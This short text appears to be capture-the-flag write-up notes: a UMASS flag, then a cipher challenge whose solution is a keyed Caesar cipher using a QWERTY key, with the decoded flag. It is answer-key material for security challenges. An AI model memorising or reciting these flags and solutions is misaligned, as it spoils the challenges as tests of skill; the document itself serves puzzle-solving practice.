flag: UMASS{lfl_t0v_s0lj4s} |
We found this note on someone’s key chain! It reads… ygqa{6y980e0101e8qq361977eqe06508q3rt}? There was another key that was engraved with the word QWERTY, too…
Keyed Caesar Cipher. Use QUERTY as key. Decode on https://www.boxentriq.com/code-breaking/keyed-caesar-cipher.
Flag: flag{6f980c0101c8aa361977cac06508a3de} |
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